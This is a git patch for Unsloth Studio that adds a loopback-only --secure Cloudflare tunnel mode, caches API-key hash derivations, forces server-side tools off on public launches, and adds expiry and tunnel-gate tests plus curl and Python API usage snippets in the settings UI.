* Studio: tighten comments across the secure-tunnel and API-key changes

Condense multi-line comments and docstrings to one or two lines, drop the
ones that restate obvious code, and remove an orphaned test section header.
Comment-only: verified with comment_tools.py check (9/9 code unchanged), the
auth/secure-tunnel/CLI test suites, and a clean frontend typecheck and build.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/auth/storage.py                |  35 +-
 studio/backend/main.py                        |   4 +
 studio/backend/run.py                         |  94 +++-
 studio/backend/tests/test_api_key_expiry.py   | 198 +++++++
 .../backend/tests/test_secure_tunnel_gate.py  |  95 ++++
 studio/frontend/src/config/env.ts             |  26 +-
 .../settings/components/usage-examples.tsx    | 486 ++++++++++++++++--
 .../features/settings/tabs/api-keys-tab.tsx   |   2 +-
 studio/frontend/src/i18n/locales/en.ts        |  10 +
 studio/frontend/src/i18n/locales/zh-CN.ts     |  10 +
 unsloth_cli/commands/studio.py                |  93 +++-
 unsloth_cli/tests/test_studio_secure_flag.py  | 294 +++++++++++
 12 files changed, 1276 insertions(+), 71 deletions(-)
 create mode 100644 studio/backend/tests/test_api_key_expiry.py
 create mode 100644 studio/backend/tests/test_secure_tunnel_gate.py
 create mode 100644 unsloth_cli/tests/test_studio_secure_flag.py

diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py
index fa5b985513..ee6678d9b9 100644
--- a/studio/backend/auth/storage.py
+++ b/studio/backend/auth/storage.py
@@ -4,9 +4,11 @@
 """SQLite storage for auth data (user credentials + JWT secret)."""
 
 import hashlib
+import hmac
 import os
 import secrets
 import sqlite3
+import threading
 from datetime import datetime, timezone
 from typing import Optional, Tuple
 
@@ -236,6 +238,29 @@ def _pbkdf2_desktop_secret(raw_secret: str) -> str:
     return _pbkdf2_api_key(raw_secret)
 
 
+# Memoize the deterministic raw-key -> PBKDF2-hash derivation so the 100k-round
+# KDF runs once per key instead of on every authenticated request. Keyed by a
+# salted HMAC of the key (not the key itself); revocation/expiry are still
+# enforced by the SQLite read on every call, so a cache hit only skips the KDF.
+# Only keys present in the DB are cached, so unknown-key spam can't grow it.
+_api_key_hash_cache: dict[str, str] = {}
+_API_KEY_HASH_CACHE_MAX = 4096
+_api_key_hash_cache_lock = threading.Lock()
+
+
+def _api_key_cache_id(raw_key: str) -> str:
+    """Cache id for a raw key: salted HMAC-SHA256 (not the key itself)."""
+    return hmac.new(
+        _get_or_create_api_key_pbkdf2_salt(), raw_key.encode("utf-8"), hashlib.sha256
+    ).hexdigest()
+
+
+def _reset_api_key_hash_cache() -> None:
+    """Drop memoized derivations (tests / salt change)."""
+    with _api_key_hash_cache_lock:
+        _api_key_hash_cache.clear()
+
+
 def is_initialized() -> bool:
     """Check if auth is ready for login (at least one user exists in DB)."""
     conn = get_connection()
@@ -704,7 +729,9 @@ def validate_api_key(raw_key: str) -> Optional[str]:
 
     Also updates ``last_used_at`` on success.
     """
-    key_hash = _pbkdf2_api_key(raw_key)
+    cache_id = _api_key_cache_id(raw_key)
+    cached_hash = _api_key_hash_cache.get(cache_id)
+    key_hash = cached_hash if cached_hash is not None else _pbkdf2_api_key(raw_key)
     conn = get_connection()
     try:
         cur = conn.execute(
@@ -714,6 +741,12 @@ def validate_api_key(raw_key: str) -> Optional[str]:
         row = cur.fetchone()
         if row is None:
             return None
+        # Real key: memoize so later requests skip the KDF. Bounded; clear on overflow.
+        if cached_hash is None:
+            with _api_key_hash_cache_lock:
+                if len(_api_key_hash_cache) >= _API_KEY_HASH_CACHE_MAX:
+                    _api_key_hash_cache.clear()
+                _api_key_hash_cache[cache_id] = key_hash
         if not row["is_active"]:
             return None
         if row["expires_at"] is not None:
diff --git a/studio/backend/main.py b/studio/backend/main.py
index 064e261753..2022074c08 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -873,6 +873,10 @@ async def health_check(request: Request):
         "version": UNSLOTH_VERSION,
         "studio_version": STUDIO_VERSION,
         "device_type": device_type,
+        # API-screen fields (authed-only; they fingerprint how the host is exposed).
+        "cloudflare_url": getattr(request.app.state, "cloudflare_url", None),
+        "server_url": getattr(request.app.state, "server_url", None),
+        "secure": bool(getattr(request.app.state, "secure", False)),
     }
 
 
diff --git a/studio/backend/run.py b/studio/backend/run.py
index 18e96f11c4..a9d1f1db26 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -395,7 +395,23 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
         pass
 
 
-def _emit_startup_output(host: str, port: int, display_host: str) -> None:
+def _emit_secure_startup_output(port: int) -> None:
+    """Secure-mode banner: only the Cloudflare link (loopback has no public raw URL)."""
+    print("")
+    print("🦥 Unsloth Studio is running (secure)")
+    print("─" * 52)
+    _print_cloudflare_line()
+    print(f"  On this machine only: http://127.0.0.1:{port}/")
+    print("─" * 52)
+    print_studio_stop_hint()
+
+
+def _emit_startup_output(
+    host: str,
+    port: int,
+    display_host: str,
+    secure: bool = False,
+) -> None:
     """Print the access banner plus any post-startup warnings.
 
     Extracted from ``_run`` so the banner/warning wiring is testable. The
@@ -404,6 +420,9 @@ def _emit_startup_output(host: str, port: int, display_host: str) -> None:
     non-127.0.0.1 bind, and wildcard binds are never 127.0.0.1), so the
     trailing stop hint is emitted exactly once.
     """
+    if secure:
+        _emit_secure_startup_output(port)
+        return
     wildcard_bind = host in ("0.0.0.0", "::")
     localhost_mismatch_url = _localhost_ipv6_mismatch_url(host, port)
     # For wildcard binds, run the reachability check between the URL
@@ -811,6 +830,25 @@ def _setup_server_disk_logging():
     return log_path
 
 
+def _cloudflare_tunnel_should_start(
+    *, cloudflare: bool, host: str, secure: bool, api_only: bool, is_colab: bool
+) -> bool:
+    """Whether to start the Cloudflare tunnel. --secure tunnels a loopback bind too;
+    non-secure keeps the 0.0.0.0-only rule. Colab/api-only never tunnel."""
+    return cloudflare and (host == "0.0.0.0" or secure) and not api_only and not is_colab
+
+
+def _apply_default_tool_policy(host: str, secure: bool) -> None:
+    """Force server-side tools off on network-reachable launches (0.0.0.0 or --secure)
+    so a public endpoint can't run code via a client's `enable_tools`. `unsloth studio
+    run` installs its own resolved policy and bypasses this."""
+    if not (secure or host == "0.0.0.0"):
+        return
+    from state.tool_policy import set_tool_policy
+
+    set_tool_policy(False)
+
+
 def run_server(
     host: str = "127.0.0.1",
     port: int = 8888,
@@ -819,6 +857,7 @@ def run_server(
     api_only: bool = False,
     llama_parallel_slots: int = 1,
     cloudflare: bool = True,
+    secure: bool = False,
 ):
     """
     Start the FastAPI server.
@@ -837,6 +876,18 @@ def run_server(
     """
     global _server, _shutdown_event
 
+    # --secure exposes only the Cloudflare link: force a loopback bind so the raw
+    # port is never public (even with -H 0.0.0.0), and reject the contradictory combo.
+    if secure and not cloudflare:
+        raise SystemExit(
+            "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link"
+        )
+    if secure:
+        host = "127.0.0.1"
+
+    # `unsloth studio run` overrides this afterward with its resolved policy.
+    _apply_default_tool_policy(host, secure)
+
     # Windows cp1252 can't encode emoji; reconfigure stdout to UTF-8.
     if sys.platform == "win32" and hasattr(sys.stdout, "reconfigure"):
         try:
@@ -975,6 +1026,13 @@ def run_server(
     # backend, not whatever a proxy/tunnel exposed. For ephemeral binds (port==0)
     # leave it unset so handlers fall back to the request scope / base_url.
     app.state.server_port = port if port and port > 0 else None
+    # Direct (non-tunnel) base for the API panel; resolve 0.0.0.0 to the LAN IP.
+    if port and port > 0:
+        _direct_host = _resolve_external_ip() if host == "0.0.0.0" else host
+        app.state.server_url = f"http://{_direct_host}:{port}"
+    else:
+        app.state.server_url = None
+    app.state.secure = secure
     app.state.llama_parallel_slots = llama_parallel_slots
 
     # Expose a shutdown callable before the server accepts requests so
@@ -1036,7 +1094,13 @@ def run_server(
     global _cloudflare_url
     _cloudflare_url = None
     app.state.cloudflare_url = None
-    _cloudflare_enabled = cloudflare and host == "0.0.0.0" and not api_only and not _IS_COLAB
+    _cloudflare_enabled = _cloudflare_tunnel_should_start(
+        cloudflare = cloudflare,
+        host = host,
+        secure = secure,
+        api_only = api_only,
+        is_colab = _IS_COLAB,
+    )
     if _cloudflare_enabled:
         try:  # best-effort: any failure must not block startup
             from cloudflare_tunnel import start_studio_tunnel, stop_studio_tunnel
@@ -1049,8 +1113,19 @@ def run_server(
         except Exception as e:
             logger.debug("Cloudflare tunnel skipped: %s", e)
 
+    # --secure fails closed: no tunnel means no public link, so exit rather than
+    # silently fall back to a raw port.
+    if secure and not _cloudflare_url:
+        print(
+            "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link",
+            file = sys.stderr,
+            flush = True,
+        )
+        _graceful_shutdown(_server)
+        sys.exit(1)
+
     if not silent:
-        _emit_startup_output(host, port, display_host)
+        _emit_startup_output(host, port, display_host, secure = secure)
 
     return app
 
@@ -1094,6 +1169,14 @@ if __name__ == "__main__":
         help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 "
         "(default on; --no-cloudflare to disable)",
     )
+    parser.add_argument(
+        "--secure",
+        action = argparse.BooleanOptionalAction,
+        default = False,
+        help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
+        "if the tunnel can't start. Without it, --not-secure also serves the raw "
+        "0.0.0.0 port, which is reachable from anywhere on the network",
+    )
     # Mirror unsloth_cli/commands/studio.py's _PARALLEL_*. Default 1 is for direct
     # backend launches; `unsloth studio run` always passes its own value (4).
     _PARALLEL_MIN = 1
@@ -1113,6 +1196,10 @@ if __name__ == "__main__":
     args = parser.parse_args()
     if not _PARALLEL_MIN <= args.parallel <= _PARALLEL_MAX:
         parser.error(f"--parallel must be between {_PARALLEL_MIN} and {_PARALLEL_MAX}")
+    if args.secure and not args.cloudflare:
+        parser.error(
+            "--secure requires the Cloudflare tunnel; do not combine it with --no-cloudflare"
+        )
 
     kwargs = dict(
         host = args.host,
@@ -1121,6 +1208,7 @@ if __name__ == "__main__":
         api_only = args.api_only,
         llama_parallel_slots = args.parallel,
         cloudflare = args.cloudflare,
+        secure = args.secure,
     )
     if args.frontend is not None:
         kwargs["frontend_path"] = Path(args.frontend)
diff --git a/studio/backend/tests/test_api_key_expiry.py b/studio/backend/tests/test_api_key_expiry.py
new file mode 100644
index 0000000000..0dacb4c61e
--- /dev/null
+++ b/studio/backend/tests/test_api_key_expiry.py
@@ -0,0 +1,198 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Expiry enforcement for API keys (tz-aware ``expires_at``) and JWT access
+tokens (``exp`` claim). Both must surface as 401 on protected routes."""
+
+from __future__ import annotations
+
+import asyncio
+import secrets
+from datetime import datetime, timedelta, timezone
+
+import pytest
+from fastapi import HTTPException
+from fastapi.security import HTTPAuthorizationCredentials
+
+from auth import storage
+from auth.authentication import create_access_token, get_current_subject
+
+
+@pytest.fixture(autouse = True)
+def isolated_auth_db(tmp_path, monkeypatch):
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_BOOTSTRAP_PW_PATH", tmp_path / ".bootstrap_password")
+    monkeypatch.setattr(storage, "_bootstrap_password", None)
+    monkeypatch.setattr(storage, "_api_key_pbkdf2_salt_cache", None)
+    storage._reset_api_key_hash_cache()
+    yield
+    storage._reset_api_key_hash_cache()
+
+
+def seed_user():
+    storage.create_initial_user(
+        username = storage.DEFAULT_ADMIN_USERNAME,
+        password = "human-password-123",
+        jwt_secret = secrets.token_urlsafe(64),
+    )
+
+
+def iso_from_now(**delta):
+    return (datetime.now(timezone.utc) + timedelta(**delta)).isoformat()
+
+
+def make_key(expires_at):
+    raw, _row = storage.create_api_key(
+        username = storage.DEFAULT_ADMIN_USERNAME,
+        name = "test",
+        expires_at = expires_at,
+    )
+    return raw
+
+
+def subject_of(token):
+    """Run the real FastAPI auth dependency against a bearer token."""
+    credentials = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = token)
+    return asyncio.run(get_current_subject(credentials))
+
+
+# --- validate_api_key (storage layer) ---------------------------------------
+
+
+def test_unexpired_key_validates():
+    seed_user()
+    assert (
+        storage.validate_api_key(make_key(iso_from_now(days = 1))) == storage.DEFAULT_ADMIN_USERNAME
+    )
+
+
+def test_never_expiring_key_validates():
+    seed_user()
+    assert storage.validate_api_key(make_key(None)) == storage.DEFAULT_ADMIN_USERNAME
+
+
+def test_expired_key_rejected():
+    seed_user()
+    assert storage.validate_api_key(make_key(iso_from_now(seconds = -1))) is None
+
+
+def test_key_expiring_far_in_past_rejected():
+    seed_user()
+    assert storage.validate_api_key(make_key(iso_from_now(days = -30))) is None
+
+
+def test_revoked_key_rejected():
+    seed_user()
+    raw, row = storage.create_api_key(
+        username = storage.DEFAULT_ADMIN_USERNAME,
+        name = "doomed",
+        expires_at = iso_from_now(days = 1),
+    )
+    storage.revoke_api_key(storage.DEFAULT_ADMIN_USERNAME, int(row["id"]))
+    assert storage.validate_api_key(raw) is None
+
+
+def test_unknown_key_rejected():
+    seed_user()
+    assert storage.validate_api_key(storage.API_KEY_PREFIX + secrets.token_hex(16)) is None
+
+
+# --- get_current_subject (route dependency) ---------------------------------
+
+
+def test_dependency_accepts_unexpired_key():
+    seed_user()
+    assert subject_of(make_key(iso_from_now(days = 1))) == storage.DEFAULT_ADMIN_USERNAME
+
+
+def test_dependency_rejects_expired_key_as_401():
+    seed_user()
+    with pytest.raises(HTTPException) as exc:
+        subject_of(make_key(iso_from_now(seconds = -1)))
+    assert exc.value.status_code == 401
+    assert exc.value.detail == "Invalid or expired API key"
+
+
+# --- JWT access-token expiry ------------------------------------------------
+
+
+def test_dependency_accepts_unexpired_jwt():
+    seed_user()
+    token = create_access_token(storage.DEFAULT_ADMIN_USERNAME, timedelta(minutes = 5))
+    assert subject_of(token) == storage.DEFAULT_ADMIN_USERNAME
+
+
+def test_dependency_rejects_expired_jwt_as_401():
+    seed_user()
+    token = create_access_token(storage.DEFAULT_ADMIN_USERNAME, timedelta(seconds = -1))
+    with pytest.raises(HTTPException) as exc:
+        subject_of(token)
+    assert exc.value.status_code == 401
+    assert exc.value.detail == "Invalid or expired token"
+
+
+# --- derivation cache: speeds repeats without bypassing checks --------------
+
+
+def test_cache_skips_pbkdf2_on_repeat(monkeypatch):
+    seed_user()
+    raw = make_key(iso_from_now(days = 1))
+    assert storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME  # warms cache
+
+    calls = {"n": 0}
+    real = storage._pbkdf2_api_key
+
+    def counting(key):
+        calls["n"] += 1
+        return real(key)
+
+    monkeypatch.setattr(storage, "_pbkdf2_api_key", counting)
+    assert storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME
+    assert storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME
+    assert calls["n"] == 0  # served from cache, KDF not re-run
+
+
+def test_cache_does_not_bypass_revocation():
+    seed_user()
+    raw, row = storage.create_api_key(
+        username = storage.DEFAULT_ADMIN_USERNAME,
+        name = "revoke-after-cache",
+        expires_at = iso_from_now(days = 1),
+    )
+    assert storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME  # cached
+    storage.revoke_api_key(storage.DEFAULT_ADMIN_USERNAME, int(row["id"]))
+    assert storage.validate_api_key(raw) is None  # cache hit still re-checks is_active
+
+
+def test_cache_does_not_bypass_expiry():
+    seed_user()
+    # Expires between the two calls: the first warms the cache, the second is still rejected.
+    near = (datetime.now(timezone.utc) + timedelta(milliseconds = 600)).isoformat()
+    raw = make_key(near)
+    assert storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME
+    import time
+
+    time.sleep(0.8)
+    assert storage.validate_api_key(raw) is None
+
+
+def test_unknown_key_not_cached():
+    seed_user()
+    bogus = storage.API_KEY_PREFIX + secrets.token_hex(16)
+    assert storage.validate_api_key(bogus) is None
+    cache_id = storage._api_key_cache_id(bogus)
+    assert cache_id not in storage._api_key_hash_cache  # spam can't grow the cache
+
+
+def test_create_api_key_route_stores_tz_aware_expiry():
+    from datetime import datetime as _dt
+
+    seed_user()
+    raw, row = storage.create_api_key(
+        username = storage.DEFAULT_ADMIN_USERNAME,
+        name = "route",
+        expires_at = iso_from_now(days = 30),
+    )
+    parsed = _dt.fromisoformat(row["expires_at"])
+    assert parsed.tzinfo is not None  # tz-aware: comparison in validate_api_key won't raise
+    assert storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
new file mode 100644
index 0000000000..6d9b6be892
--- /dev/null
+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -0,0 +1,95 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Cloudflare tunnel start gate, incl. --secure on loopback. Imports run.py
+directly, so run under the Studio venv."""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
+
+
+@pytest.mark.parametrize(
+    "cloudflare,host,secure,api_only,is_colab,expected",
+    [
+        # Non-secure: historical 0.0.0.0-only behaviour preserved.
+        (True, "0.0.0.0", False, False, False, True),
+        (True, "127.0.0.1", False, False, False, False),
+        (True, "localhost", False, False, False, False),
+        # --secure tunnels a loopback bind too.
+        (True, "127.0.0.1", True, False, False, True),
+        (True, "0.0.0.0", True, False, False, True),
+        # --no-cloudflare always wins.
+        (False, "0.0.0.0", False, False, False, False),
+        (False, "127.0.0.1", True, False, False, False),
+        # api-only and Colab never tunnel.
+        (True, "0.0.0.0", False, True, False, False),
+        (True, "127.0.0.1", True, True, False, False),
+        (True, "0.0.0.0", False, False, True, False),
+        (True, "127.0.0.1", True, False, True, False),
+    ],
+)
+def test_cloudflare_gate(cloudflare, host, secure, api_only, is_colab, expected):
+    assert (
+        should_start(
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+            api_only = api_only,
+            is_colab = is_colab,
+        )
+        is expected
+    )
+
+
+def test_run_server_accepts_secure_kwarg():
+    import inspect
+
+    import run
+
+    assert "secure" in inspect.signature(run.run_server).parameters
+    assert inspect.signature(run.run_server).parameters["secure"].default is False
+
+
+def test_plain_network_launch_forces_tools_off():
+    # Network-reachable launches (0.0.0.0 or --secure) must force server-side tools off.
+    import run
+    from state.tool_policy import get_tool_policy, reset_tool_policy
+
+    reset_tool_policy()
+    run._apply_default_tool_policy("127.0.0.1", False)
+    assert get_tool_policy() is None  # loopback: untouched (per-request honored)
+
+    run._apply_default_tool_policy("0.0.0.0", False)
+    assert get_tool_policy() is False  # network bind: forced off
+
+    reset_tool_policy()
+    run._apply_default_tool_policy("127.0.0.1", True)  # --secure (public tunnel)
+    assert get_tool_policy() is False
+    reset_tool_policy()
+
+
+def test_run_server_rejects_secure_without_cloudflare():
+    # Direct backend callers (not just the CLI) must reject the contradictory combo.
+    import run
+    with pytest.raises(SystemExit) as exc:
+        run.run_server(secure = True, cloudflare = False)
+    assert "A secure Cloudflare link is not allowed" in str(exc.value)
+
+
+def test_failclosed_message_present_in_source():
+    # The exact, user-facing fail-closed message must not drift.
+    src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    assert (
+        "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link"
+        in src
+    )
diff --git a/studio/frontend/src/config/env.ts b/studio/frontend/src/config/env.ts
index 61ab111d45..60f9e876f9 100644
--- a/studio/frontend/src/config/env.ts
+++ b/studio/frontend/src/config/env.ts
@@ -18,6 +18,11 @@ export type DeviceType = "mac" | "windows" | "linux" | string;
 interface PlatformState {
   deviceType: DeviceType;
   chatOnly: boolean;
+  // From /api/health (authed): live tunnel URL, direct (non-tunnel) base, and
+  // whether the server was launched with --secure.
+  cloudflareUrl: string | null;
+  serverUrl: string | null;
+  secure: boolean;
   fetched: boolean;
   isChatOnly: () => boolean;
 }
@@ -37,13 +42,19 @@ const localDeviceType = detectLocalPlatform();
 export const usePlatformStore = create<PlatformState>()((_, get) => ({
   deviceType: localDeviceType,
   chatOnly: localDeviceType === "mac",
+  cloudflareUrl: null,
+  serverUrl: null,
+  secure: false,
   fetched: false,
   isChatOnly: () => get().chatOnly,
 }));
 
-export async function fetchDeviceType(): Promise<DeviceType> {
+// `force` re-reads /api/health even if cached, to pick up a late-arriving tunnel URL.
+export async function fetchDeviceType(options?: {
+  force?: boolean;
+}): Promise<DeviceType> {
   const { fetched } = usePlatformStore.getState();
-  if (fetched) return usePlatformStore.getState().deviceType;
+  if (fetched && !options?.force) return usePlatformStore.getState().deviceType;
 
   try {
     // /api/health only reports the server's device_type to authed callers.
@@ -57,7 +68,13 @@ export async function fetchDeviceType(): Promise<DeviceType> {
       headers: token ? { Authorization: `Bearer ${token}` } : undefined,
     });
     if (res.ok) {
-      const data = (await res.json()) as { device_type?: string; chat_only?: boolean };
+      const data = (await res.json()) as {
+        device_type?: string;
+        chat_only?: boolean;
+        cloudflare_url?: string | null;
+        server_url?: string | null;
+        secure?: boolean;
+      };
       const deviceType = data.device_type ?? detectLocalPlatform();
       const chatOnly = data.chat_only ?? false;
       // Cache only a server-reported platform. Unauthenticated responses fall
@@ -66,6 +83,9 @@ export async function fetchDeviceType(): Promise<DeviceType> {
       usePlatformStore.setState({
         deviceType,
         chatOnly,
+        cloudflareUrl: data.cloudflare_url ?? null,
+        serverUrl: data.server_url ?? null,
+        secure: data.secure ?? false,
         fetched: data.device_type !== undefined,
       });
       return deviceType;
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index 2fd387062f..874c9fa930 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -1,25 +1,85 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { createCodePlugin } from "@/components/assistant-ui/code-plugin";
+import {
+  unslothDarkTheme,
+  unslothLightTheme,
+} from "@/components/assistant-ui/code-themes";
+import { Switch } from "@/components/ui/switch";
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import { fetchDeviceType, usePlatformStore } from "@/config/env";
+import { useChatRuntimeStore } from "@/features/chat";
+import { useT } from "@/i18n";
+import type { TranslationKey } from "@/i18n";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
-import { copyToClipboard } from "@/lib/copy-to-clipboard";
-import { useT } from "@/i18n";
 import {
   ArrowUpRight01Icon,
   Copy01Icon,
+  InformationCircleIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useMemo, useState } from "react";
+import { useEffect, useMemo, useState } from "react";
+import { Streamdown } from "streamdown";
 
-type Lang = "curl" | "python" | "tools";
+// API call type; OS axis applies to curl only (Python is OS-identical).
+type ExampleType =
+  | "curl"
+  | "python"
+  | "curlTools"
+  | "pythonTools"
+  | "curlAdvanced"
+  | "pythonAdvanced";
+type Os = "unix" | "windows";
+// plain = bare call; tools = server-side tools; advanced = sampling + thinking + tools.
+type Variant = "plain" | "tools" | "advanced";
 
-const TABS: { id: Lang; label: string }[] = [
+const TYPE_TABS: { id: ExampleType; label: string }[] = [
   { id: "curl", label: "curl" },
   { id: "python", label: "Python" },
-  { id: "tools", label: "Tools" },
+  { id: "curlTools", label: "curl + tools" },
+  { id: "pythonTools", label: "Python + tools" },
+  { id: "curlAdvanced", label: "curl + advanced" },
+  { id: "pythonAdvanced", label: "Python + advanced" },
 ];
 
+const TYPE_LABEL_KEY: Partial<Record<ExampleType, TranslationKey>> = {
+  curlTools: "settings.apiKeys.exampleCurlTools",
+  pythonTools: "settings.apiKeys.examplePythonTools",
+  curlAdvanced: "settings.apiKeys.exampleCurlAdvanced",
+  pythonAdvanced: "settings.apiKeys.examplePythonAdvanced",
+};
+
+const OS_AWARE: Record<ExampleType, boolean> = {
+  curl: true,
+  python: false,
+  curlTools: true,
+  pythonTools: false,
+  curlAdvanced: true,
+  pythonAdvanced: false,
+};
+
+const CURL_TYPES = new Set<ExampleType>(["curl", "curlTools", "curlAdvanced"]);
+
+const PROMPT = "Can Unsloth Studio do API calling?";
+// web_search + python + terminal are the reliable built-in tools.
+const TOOLS = ["web_search", "python", "terminal"];
+// Sampling/thinking knobs for the "+ advanced" examples.
+const ADV = {
+  temperature: 0.7,
+  top_p: 0.8,
+  top_k: 20,
+  min_p: 0.05,
+  repetition_penalty: 1.1,
+  max_tokens: 1024,
+} as const;
+
 const DOC_LINKS = [
   {
     label: "Claude Code",
@@ -43,52 +103,275 @@ const DOC_LINKS = [
   },
 ];
 
-function buildSnippets(base: string) {
-  return {
-    curl: `curl ${base}/v1/chat/completions \\
-  -H "Authorization: Bearer sk-unsloth-YOUR_KEY" \\
+// JSON-encode; also a valid Python literal, so odd model names never break output.
+const j = (s: string): string => JSON.stringify(s);
+// Embed in a POSIX single-quoted string: close, escaped quote, reopen.
+const shSingle = (s: string): string => s.replace(/'/g, "'\\''");
+// Embed in a PowerShell single-quoted string: '' is a literal quote.
+const psSingle = (s: string): string => s.replace(/'/g, "''");
+const toolsJson = TOOLS.map(j).join(", ");
+
+// Shared body fields (after model/messages, before stream) per variant.
+function bodyExtraLines(variant: Variant, indent: string): string[] {
+  const lines: string[] = [];
+  if (variant === "advanced") {
+    lines.push(`${indent}"temperature": ${ADV.temperature},`);
+    lines.push(`${indent}"top_p": ${ADV.top_p},`);
+    lines.push(`${indent}"top_k": ${ADV.top_k},`);
+    lines.push(`${indent}"min_p": ${ADV.min_p},`);
+    lines.push(`${indent}"repetition_penalty": ${ADV.repetition_penalty},`);
+    lines.push(`${indent}"max_tokens": ${ADV.max_tokens},`);
+    lines.push(`${indent}"enable_thinking": true,`);
+  }
+  if (variant !== "plain") {
+    lines.push(`${indent}"enable_tools": true,`);
+    lines.push(`${indent}"enabled_tools": [${toolsJson}],`);
+  }
+  return lines;
+}
+
+function curlBodyPretty(model: string, variant: Variant): string {
+  const lines = [
+    `    "model": ${j(model)},`,
+    `    "messages": [{"role": "user", "content": ${j(PROMPT)}}],`,
+    ...bodyExtraLines(variant, "    "),
+    `    "stream": true`,
+  ];
+  return `{\n${lines.join("\n")}\n  }`;
+}
+
+// One-line JSON for the Windows body file (PowerShell mangles inline quotes to curl.exe).
+function winBody(model: string, variant: Variant): string {
+  const body: Record<string, unknown> = {
+    model,
+    messages: [{ role: "user", content: PROMPT }],
+  };
+  if (variant === "advanced") {
+    body.temperature = ADV.temperature;
+    body.top_p = ADV.top_p;
+    body.top_k = ADV.top_k;
+    body.min_p = ADV.min_p;
+    body.repetition_penalty = ADV.repetition_penalty;
+    body.max_tokens = ADV.max_tokens;
+    body.enable_thinking = true;
+  }
+  if (variant !== "plain") {
+    body.enable_tools = true;
+    body.enabled_tools = TOOLS;
+  }
+  body.stream = true;
+  return JSON.stringify(body);
+}
+
+function curlUnix(
+  base: string,
+  key: string,
+  model: string,
+  variant: Variant,
+): string {
+  return `curl ${base}/v1/chat/completions \\
+  -H "Authorization: Bearer ${key}" \\
   -H "Content-Type: application/json" \\
-  -d '{
-    "messages": [{"role": "user", "content": "Hello"}],
-    "stream": true
-  }'`,
-    python: `from openai import OpenAI
+  -d '${shSingle(curlBodyPretty(model, variant))}'`;
+}
+
+// Windows PowerShell: curl aliases to Invoke-WebRequest, so use curl.exe + body file.
+function curlWindows(
+  base: string,
+  key: string,
+  model: string,
+  variant: Variant,
+): string {
+  return `$body = '${psSingle(winBody(model, variant))}'
+Set-Content -Path body.json -Value $body -Encoding ascii
+curl.exe ${base}/v1/chat/completions \`
+  -H "Authorization: Bearer ${key}" \`
+  -H "Content-Type: application/json" \`
+  -d "@body.json"`;
+}
+
+function pythonSnippet(
+  base: string,
+  key: string,
+  model: string,
+  variant: Variant,
+): string {
+  // Standard OpenAI args are named; Unsloth extensions go through extra_body.
+  const named =
+    variant === "advanced"
+      ? `
+    temperature=${ADV.temperature},
+    top_p=${ADV.top_p},
+    max_tokens=${ADV.max_tokens},`
+      : "";
+  const extra: string[] = [];
+  if (variant === "advanced") {
+    extra.push(`        "top_k": ${ADV.top_k},`);
+    extra.push(`        "min_p": ${ADV.min_p},`);
+    extra.push(`        "repetition_penalty": ${ADV.repetition_penalty},`);
+    extra.push(`        "enable_thinking": True,`);
+  }
+  if (variant !== "plain") {
+    extra.push(`        "enable_tools": True,`);
+    extra.push(`        "enabled_tools": [${toolsJson}],`);
+  }
+  const extraBody = extra.length
+    ? `
+    extra_body={
+${extra.join("\n")}
+    },`
+    : "";
+  // With tools, some chunks are tool-lifecycle events with no choices; guard it.
+  const loop =
+    variant !== "plain"
+      ? `for chunk in response:
+    if chunk.choices:
+        print(chunk.choices[0].delta.content or "", end="")`
+      : `for chunk in response:
+    print(chunk.choices[0].delta.content or "", end="")`;
+  return `from openai import OpenAI
 
 client = OpenAI(
-    base_url="${base}/v1",
-    api_key="sk-unsloth-YOUR_KEY",
+    base_url=${j(`${base}/v1`)},
+    api_key=${j(key)},
 )
 
 response = client.chat.completions.create(
-    model="current",
-    messages=[{"role": "user", "content": "Hello"}],
+    model=${j(model)},
+    messages=[{"role": "user", "content": ${j(PROMPT)}}],${named}${extraBody}
     stream=True,
 )
